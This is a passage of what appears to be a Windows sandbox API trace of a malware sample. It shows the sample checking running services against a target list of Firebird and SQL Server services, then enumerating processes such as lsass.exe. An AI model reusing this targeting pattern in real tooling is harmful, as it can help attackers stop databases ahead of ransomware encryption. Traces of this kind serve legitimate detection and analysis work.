lpString2="Audiosrv") returned 1 [0278.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0278.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0278.128] lstrlenW (lpString="BFE") returned 3 [0278.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0278.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0278.128] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0278.128] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0278.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0278.128] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0278.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.128] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0278.128] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0278.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0278.128] lstrlenW (lpString="CDPSvc") returned 6 [0278.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0278.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0278.128] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0278.128] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0278.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0278.128] lstrlenW (lpString="ClickToRunSvc") returned 13 [0278.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.128] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0278.128] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0278.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0278.129] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0278.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.129] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0278.129] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0278.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0278.129] lstrlenW (lpString="CryptSvc") returned 8 [0278.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0278.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0278.129] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0278.129] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0278.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0278.129] lstrlenW (lpString="DcomLaunch") returned 10 [0278.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.129] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0278.129] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0278.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0278.129] lstrlenW (lpString="DeviceAssociationService") returned 24 [0278.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.129] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0278.129] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0278.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0278.129] lstrlenW (lpString="Dhcp") returned 4 [0278.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0278.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0278.129] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0278.129] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0278.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0278.130] lstrlenW (lpString="Dnscache") returned 8 [0278.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0278.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0278.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0278.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0278.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0278.130] lstrlenW (lpString="DPS") returned 3 [0278.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0278.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0278.130] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0278.130] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0278.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0278.130] lstrlenW (lpString="DusmSvc") returned 7 [0278.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0278.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0278.130] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0278.130] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0278.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0278.130] lstrlenW (lpString="EventLog") returned 8 [0278.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0278.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0278.130] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0278.130] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0278.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0278.130] lstrlenW (lpString="EventSystem") returned 11 [0278.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0278.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0278.130] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0278.130] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0278.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0278.130] lstrlenW (lpString="FontCache") returned 9 [0278.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0278.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0278.131] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0278.131] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0278.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0278.131] lstrlenW (lpString="gpsvc") returned 5 [0278.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0278.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0278.131] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0278.131] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0278.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0278.131] lstrlenW (lpString="iphlpsvc") returned 8 [0278.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.131] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0278.131] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0278.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0278.131] lstrlenW (lpString="KeyIso") returned 6 [0278.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0278.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0278.131] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0278.131] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0278.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0278.131] lstrlenW (lpString="LanmanServer") returned 12 [0278.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0278.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0278.131] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0278.131] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0278.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0278.132] lstrlenW (lpString="LanmanWorkstation") returned 17 [0278.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.132] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0278.132] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0278.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0278.132] lstrlenW (lpString="lfsvc") returned 5 [0278.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0278.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0278.132] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0278.132] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0278.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0278.132] lstrlenW (lpString="lmhosts") returned 7 [0278.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0278.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0278.132] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0278.132] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0278.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0278.132] lstrlenW (lpString="LSM") returned 3 [0278.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0278.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0278.132] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0278.132] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0278.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0278.132] lstrlenW (lpString="MpsSvc") returned 6 [0278.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0278.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0278.133] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0278.133] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0278.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0278.133] lstrlenW (lpString="NcbService") returned 10 [0278.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0278.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0278.133] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0278.133] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0278.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0278.133] lstrlenW (lpString="netprofm") returned 8 [0278.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0278.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0278.133] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0278.133] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0278.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0278.133] lstrlenW (lpString="NgcSvc") returned 6 [0278.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0278.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0278.133] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0278.133] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0278.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0278.133] lstrlenW (lpString="NlaSvc") returned 6 [0278.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0278.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0278.133] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0278.133] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0278.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0278.134] lstrlenW (lpString="nsi") returned 3 [0278.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0278.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0278.134] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0278.134] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0278.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0278.134] lstrlenW (lpString="PcaSvc") returned 6 [0278.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0278.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0278.134] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0278.134] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0278.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0278.134] lstrlenW (lpString="PlugPlay") returned 8 [0278.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0278.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0278.134] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0278.134] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0278.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0278.134] lstrlenW (lpString="Power") returned 5 [0278.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0278.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0278.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0278.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0278.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0278.134] lstrlenW (lpString="ProfSvc") returned 7 [0278.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0278.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0278.135] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0278.135] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0278.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0278.135] lstrlenW (lpString="RpcEptMapper") returned 12 [0278.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0278.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0278.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0278.135] lstrlenW (lpString="RpcSs") returned 5 [0278.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0278.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0278.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0278.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0278.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0278.135] lstrlenW (lpString="SamSs") returned 5 [0278.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0278.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0278.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0278.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0278.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0278.135] lstrlenW (lpString="Schedule") returned 8 [0278.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0278.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0278.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0278.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0278.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0278.136] lstrlenW (lpString="SecurityHealthService") returned 21 [0278.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0278.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0278.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0278.136] lstrlenW (lpString="SENS") returned 4 [0278.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0278.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0278.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0278.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0278.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0278.136] lstrlenW (lpString="ShellHWDetection") returned 16 [0278.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.136] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0278.136] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0278.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0278.136] lstrlenW (lpString="Spooler") returned 7 [0278.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0278.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0278.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0278.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0278.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0278.136] lstrlenW (lpString="StateRepository") returned 15 [0278.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0278.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0278.137] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0278.137] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0278.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0278.137] lstrlenW (lpString="SysMain") returned 7 [0278.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0278.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0278.137] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0278.137] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0278.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0278.137] lstrlenW (lpString="SystemEventsBroker") returned 18 [0278.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.137] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0278.137] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0278.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0278.137] lstrlenW (lpString="Themes") returned 6 [0278.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0278.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0278.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0278.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0278.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0278.137] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0278.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0278.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0278.137] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0278.138] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0278.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3240080 | out: hHeap=0x630000) returned 1 [0278.138] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0278.356] Process32FirstW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.357] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.359] lstrlenW (lpString="System") returned 6 [0278.359] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.360] lstrlenW (lpString="smss.exe") returned 8 [0278.360] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.363] lstrlenW (lpString="csrss.exe") returned 9 [0278.363] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.364] lstrlenW (lpString="wininit.exe") returned 11 [0278.364] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.365] lstrlenW (lpString="csrss.exe") returned 9 [0278.365] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.366] lstrlenW (lpString="winlogon.exe") returned 12 [0278.366] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.367] lstrlenW (lpString="services.exe") returned 12 [0278.367] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.368] lstrlenW (lpString="lsass.exe") returned 9 [0278.368] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.369] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.369] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.370] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.370] Process32NextW (in: hSnapshot=0x11c8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.371] 